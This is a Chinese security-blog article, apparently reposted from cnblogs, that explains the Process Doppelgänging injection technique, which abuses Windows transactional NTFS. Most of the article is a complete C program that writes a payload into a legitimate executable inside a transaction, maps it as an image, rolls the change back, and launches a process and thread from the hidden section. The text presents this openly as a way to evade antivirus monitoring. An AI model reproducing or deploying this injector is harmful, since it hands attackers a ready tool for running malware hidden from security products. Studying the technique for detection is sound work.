经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置：技术经验 » 其他 » 网络安全 » 查看文章
Process Doppelgänging
来源：cnblogs　　作者：Bl0od　　时间：2020/11/16 10:23:34　　对本文有异议

进程注入：Process Doppelg?nging

攻击者可以通过Process Doppelg?nging将恶意代码注入到进程中，从而逃避基于进程的防护，并且进行可能的特权提升。Process Doppelg?nging是一种在单独的活动进程的地址空间中执行任意代码的方法。

Vista中引入了Windows事务NTFS（TxF）作为执行安全文件操作的方法。为确保数据完整性，TxF仅允许一个事务处理句柄在给定时间写入同一个文件。在写句柄事务终止之前，所有其他句柄均被隔离，只能读取打开该句柄时已存在的文件的提交版本。为避免损坏，如果系统或应用程序在写事务期间发生失败，TxF将执行自动回滚。

尽管已被弃用，但直至Windows 10，仍可使用TxF应用程序编程接口（API）。

攻击者可能滥用TxF来执行Process Injection的无文件变体。与“Process Hollowing”类似，Process Doppelg?nging通过替换合法进程的内存，使恶意代码得以隐蔽执行，从而逃避检测。Process Doppelg?nging对TxF的利用也避免了使用被杀软重度监控的API功能，例如NtUnmapViewOfSection，VirtualProtectEx，和SetThreadContext。

Process Doppelg?nging分为4个步骤：

  • Transact – 使用合法的可执行文件创建TxF事务，然后使用恶意代码覆盖该文件。这些更改与外部隔离，并且仅在当前事务上下文中可见；
  • Load – 从内存中创建一个共享Section用于加载覆盖后的恶意可执行文件；
  • Rollback – 撤消对原始合法可执行文件的更改，从而有效地从文件系统中清除恶意代码；
  • Animate – 从内存中恶意代码所在的Section处创建一个进程并启动执行。

由于被注入进程是从实现注入的进程中创建的（继承了安全上下文），因此该行为应该是不会导致特权提升的。但是，由于执行过程隐藏于合法进程下，因此通过process doppelg?nging执行可以避开安全产品的检测。

在测试的时候，发现在64位系统下，32位的process doppelg?nging将会失败，只能使用64位的注入；32位系统下的process doppelg?nging则正常。

  1. #include "winntos.h"
  2. #include "stdio.h"
  3. #include "ktmw32.h"
  5. #define MAX(a, b) (a > b? a:b)
  6. #define MIN(a, b) (a > b? b:a)
  8. #pragma comment(lib, "ktmw32.lib")
  9. INT wmain(INT argc, WCHAR* argv[]) {
  11. 	if (argc < 3) {
  12. 		printf("usage: proc_Dopp.exe <whiteModuleFile> <injectModuleFile>\n\n");
  13. 		return 1;
  14. 	}
  16. 	NtCreateSection ntCreateSection = NULL;
  17. 	NtCreateProcessEx ntCreateProcessEx = NULL;
  18. 	RtlCreateProcessParametersEx rtlCreateProcessParametersEx = NULL;
  19. 	NtQueryInformationProcess ntQueryInformationProcess = NULL;
  20. 	RtlInitUnicodeString rtlInitUnicodeString = NULL;
  21. 	NtCreateThreadEx ntCreateThreadEx = NULL;
  23. 	HMODULE ntdll = LoadLibrary(L"ntdll.dll");
  24. 	if (ntdll) {
  25. 		ntCreateSection = (NtCreateSection)GetProcAddress(ntdll, "NtCreateSection");
  26. 		if (ntCreateSection)
  27. 			printf(" Succeed get funtion NtCreateSection Address : %#llx :)\n", (DWORD)ntCreateSection);
  28. 		else {
  29. 			printf(" Fail get funtion NtCreateSection Address :(\n");
  30. 			return 1;
  31. 		}
  32. 		ntCreateProcessEx = (NtCreateProcessEx)GetProcAddress(ntdll, "NtCreateProcessEx");
  33. 		if (ntCreateProcessEx)
  34. 			printf(" Succeed get funtion NtCreateProcessEx Address : %#llx :)\n", (DWORD)ntCreateProcessEx);
  35. 		else {
  36. 			printf(" Fail get funtion NtCreateProcessEx Address :(\n");
  37. 			return 1;
  38. 		}
  39. 		rtlCreateProcessParametersEx = (RtlCreateProcessParametersEx)GetProcAddress(ntdll, "RtlCreateProcessParametersEx");
  40. 		if (rtlCreateProcessParametersEx)
  41. 			printf(" Succeed get funtion RtlCreateProcessParametersEx Address : %#llx :)\n", 
  42. 					(DWORD)rtlCreateProcessParametersEx);
  43. 		else {
  44. 			printf(" Fail get funtion RtlCreateProcessParametersEx Address :(\n");
  45. 			return 1;
  46. 		}
  47. 		ntQueryInformationProcess = (NtQueryInformationProcess)GetProcAddress(ntdll, "NtQueryInformationProcess");
  48. 		if (ntQueryInformationProcess)
  49. 			printf(" Succeed get funtion NtQueryInformationProcess Address : %#llx :)\n",
  50. 			(DWORD)ntQueryInformationProcess);
  51. 		else {
  52. 			printf(" Fail get funtion NtQueryInformationProcess Address :(\n");
  53. 			return 1;
  54. 		}
  55. 		rtlInitUnicodeString = (RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString");
  56. 		if (rtlInitUnicodeString)
  57. 			printf(" Succeed get funtion RtlInitUnicodeString Address : %#llx :)\n",
  58. 			(DWORD)rtlInitUnicodeString);
  59. 		else {
  60. 			printf(" Fail get funtion RtlInitUnicodeString Address :(\n");
  61. 			return 1;
  62. 		}
  63. 		ntCreateThreadEx = (NtCreateThreadEx)GetProcAddress(ntdll, "NtCreateThreadEx");
  64. 		if (ntCreateThreadEx)
  65. 			printf(" Succeed get funtion NtCreateThreadEx Address : %#llx :)\n",
  66. 			(DWORD)ntCreateThreadEx);
  67. 		else {
  68. 			printf(" Fail get funtion NtCreateThreadEx Address :(\n");
  69. 			return 1;
  70. 		}
  71. 	}
  72. 	else {
  73. 		printf(" Load ntdll.dll Failed :(\n");
  74. 		return 1;
  75. 	}
  77. 	WCHAR *szSrcFile = (WCHAR*)malloc(wcslen(argv[1]) + 4);
  78. 	WCHAR *szInjectFile = (WCHAR*)malloc(wcslen(argv[2]) + 4);
  79. 	HANDLE hInjFile = NULL, hTx = NULL, hTransFile = NULL, hSection = NULL, hProcess = NULL, hCurProcess = NULL;
  80. 	CHAR *szInjBuff = NULL;
  82. 	wcscpy(szSrcFile, argv[1]);
  83. 	wcscpy(szInjectFile, argv[2]);
  85. 	do {
  86. 		hInjFile = CreateFile(szInjectFile, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0);
  87. 		if (INVALID_HANDLE_VALUE == hInjFile) {
  88. 			if (GetLastError() == ERROR_FILE_NOT_FOUND)
  89. 				printf(" The File To Be INJECTED NOT FOUND :(\n");
  90. 			else
  91. 				printf(" OPEN injected file ERROR :(\n");
  92. 			break;
  93. 		}
  95. 		DWORD dwInjFileSize = GetFileSize(hInjFile, 0), dwReadBytes = 0;
  96. 		szInjBuff = (CHAR*)malloc(dwInjFileSize);
  97. 		if (!ReadFile(hInjFile, szInjBuff, dwInjFileSize, &dwReadBytes, 0)) {
  98. 			printf(" read injected file error :(\n");
  99. 			break;
  100. 		}
  101. 		hTx = CreateTransaction(0, 0, 0, 0, 0, 0, 0);
  102. 		if (INVALID_HANDLE_VALUE == hTx) {
  103. 			printf(" create transaction failed :(\n");
  104. 			break;
  105. 		}
  107. 		hTransFile = CreateFileTransacted(szSrcFile, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0, hTx, 0, 0);
  108. 		if (INVALID_HANDLE_VALUE == hTransFile) {
  109. 			printf(" append black file transacted failed :(\n");
  110. 			break;
  111. 		}
  112. 		DWORD dwWrittenBytes = 0;
  113. 		if (!WriteFile(hTransFile, szInjBuff, dwReadBytes, &dwWrittenBytes, 0) || !dwWrittenBytes) {
  114. 			printf(" write target file failed :(\n");
  115. 			break;
  116. 		}
  117. 		printf(" Write To Target File success :)\n");
  119. 		hSection = NULL;
  121. 		if (ntCreateSection(&hSection, SECTION_ALL_ACCESS, 0, 0, PAGE_READONLY, SEC_IMAGE, hTransFile)) {
  122. 			printf(" CreateSeciotn Failed :(  %#x\n", GetLastError());
  123. 			break;
  124. 		}
  125. 		// succeed map file as image
  126. 		printf(" CreateSeciotn Success :)\n");
  128. 		if (!RollbackTransaction(hTx)) {
  129. 			printf(" RollBackFile Failed :(  %#x\n", GetLastError());
  130. 			break;
  131. 		}
  132. 		printf(" RollBackFile Success :)\n");
  133. 		hProcess = NULL;
  134. 		hCurProcess = GetCurrentProcess();
  136. 		if (ntCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, 0, hCurProcess, 4, hSection, 0, 0, 0)) {
  137. 			printf(" create process failed :( %#x\n", GetLastError());  // 失败
  138. 			break;
  139. 		}
  140. 		printf(" create process SUCCESS :)\n");
  142. 		PROCESS_BASIC_INFORMATION pbi;
  143. 		DWORD ReturnLength = 0;
  144. 		
  145. 		/* 获取注入进程的PEB数据块信息 */
  146. 		if (ntQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &ReturnLength)) {
  147. 			printf(" query process pbi failed :( %#x\n", GetLastError());
  148. 			break;
  149. 		}
  151. 		SIZE_T size = 0, imgBase = NULL;
  152. 		CHAR tmp[0x100] = { 0 };
  153. 		ReadProcessMemory(hProcess, pbi.PebBaseAddress, &tmp, 0x100, &size);
  155. 		imgBase = (ULONG64)((PPEB)tmp)->ImageBaseAddress;	// PEB获取注入进程基址
  156. 		printf(" image base: %#llx\n", imgBase);
  158. 		PRTL_USER_PROCESS_PARAMETERS processParams = NULL;
  159. 		UNICODE_STRING dstUniStr;
  161. 		rtlInitUnicodeString(&dstUniStr, szSrcFile);
  162. 		if(rtlCreateProcessParametersEx(&processParams, &dstUniStr, NULL, NULL, &dstUniStr, NULL,
  163. 			NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED)){
  164. 			printf(" Create ProcessParameters failed :( %#x\n", GetLastError());
  165. 			break;
  166. 		}
  167. 		printf(" Create ProcessParameters SUCCESS :)\n");
  169. 		HANDLE ThreadID = NULL;
  170. 		LPVOID paramBaseAddr = NULL;
  171. 		ULONG_PTR start = (ULONG_PTR)MIN(processParams, processParams->Environment);
  172. 		ULONG_PTR end = (ULONG_PTR)MAX(processParams, processParams->Environment);
  173. 		size = end - start;
  175. 		if (!VirtualAllocEx(hProcess, (LPVOID)start, size, 
  176. 							MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) {
  177. 			printf(" VirtualAllocEx processParams failed :( %#x\n", GetLastError());
  178. 			break;
  179. 		}
  180. 		if (!WriteProcessMemory(hProcess, (LPVOID)start, processParams, size, &size)) {
  181. 			printf(" Write USER PROCESS PARAMETERS failed :( %#x\n", GetLastError());
  182. 			break;
  183. 		}
  184. 		
  185. 		if (!WriteProcessMemory(hProcess, &(pbi.PebBaseAddress->ProcessParameters), &processParams, sizeof(PVOID), &size)) {
  186. 			printf(" Write USER PROCESS PARAMETERS Address failed :( %#x\n", GetLastError());
  187. 			break;
  188. 		}
  189. 		
  190. 		PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(szInjBuff + ((PIMAGE_DOS_HEADER)szInjBuff)->e_lfanew);
  191. 		LPTHREAD_START_ROUTINE entry = (LPTHREAD_START_ROUTINE)(imgBase + (pNtHeader->OptionalHeader.AddressOfEntryPoint));
  192. 		printf(" entry point: %#llx\n", entry);
  194. 		if (ntCreateThreadEx(&ThreadID, THREAD_ALL_ACCESS, NULL, hProcess,
  195. 			(LPTHREAD_START_ROUTINE)entry,
  196. 			NULL, FALSE, 0, 0, 0, NULL)) {
  197. 				printf(" Create Thread failed :( %#x\n", GetLastError());
  198. 				break;
  199. 		}
  200. 		printf(" Create Thread Success :)\n");
  201. 		/*if (!CreateRemoteThread(hProcess, NULL, NULL,
  202. 			(LPTHREAD_START_ROUTINE)(pNtHeader->OptionalHeader.AddressOfEntryPoint + imgBase),
  203. 			NULL, NULL, &ThreadID)) {
  204. 			printf(" Create Thread failed :( %#x\n", GetLastError());
  205. 			break;
  206. 		}
  207. 		printf(" remote thread id: %#x\n", ThreadID);*/
  209. 	} while (0);
  210. 	
  211. 	VirtualFree(szInjectFile, 0, MEM_RELEASE);
  212. 	VirtualFree(szSrcFile, 0, MEM_RELEASE);
  213. 	VirtualFree(szInjBuff, 0, MEM_RELEASE);
  215. 	if (hTransFile)
  216. 		CloseHandle(hTransFile);
  217. 	if (hTx)
  218. 		CloseHandle(hTx);
  219. 	if (hInjFile)
  220. 		CloseHandle(hInjFile);
  221. 	if (hCurProcess)
  222. 		CloseHandle(hCurProcess);
  223. 	if (hSection)
  224. 		CloseHandle(hSection);
  225. 	if (hProcess)
  226. 		CloseHandle(hProcess);
  227. 	return 0;
  228. }

参考：

https://attack.mitre.org/techniques/T1055/013/

https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf

原文链接：http://www.cnblogs.com/zUotTe0/p/13766038.html

 友情链接：直通硅谷 　点职佳 　北美留学生论坛

网络安全热门文章

  • AI: Web: 2 Vulnhub Walkthrough - APT-101
  • 各类黑客大马默认密码后门
  • 蓝凌OA前台任意文件读取漏洞利用
  • 银河麒麟SP2 auditd服务内存泄露问题
  • confluence 挖矿木马应急响应 - APT-101
  • 信息安全题目整理（1）
  • 时间同步（NTP/PTP）技术原理介绍
  • apache log4j2 漏洞复现linux【纯详版】
  • Kali proxychains
  • 使用tor实现对网络的匿名访问

    • 网络安全推荐文章

  • 异构数据源数据同步 → 从源码分析 DataX 敏感信息的加解密
  • FFmpeg开发笔记（三十八）APP如何访问SRS推流的RTMP直播地址
  • Vulnhub-ICA01
  • 劫持TLS绕过canary && 堆和栈的灵活转换
  • 第二届黄河流域网络安全技能挑战赛Web_wirteup
  • 深入理解高级加密标准（Advanced Encryption Standard）
  • 渗透测试-信息收集
  • RC4Drop加密技术：原理、实践与安全性探究
  • 知名压缩软件 xz 被植入后门，黑客究竟是如何做到的？
  • 《熬夜整理》保姆级系列教程-玩转Wireshark抓包神器教程(1)-初识Wireshark - 北京-宏哥

    • 本站QQ群：前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

    W3xue 的所有内容仅供测试，对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
    关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接（目前9元/月）请联系QQ：27243702 沸活量
    皖ICP备17017327号-2　皖公网安备34020702000426号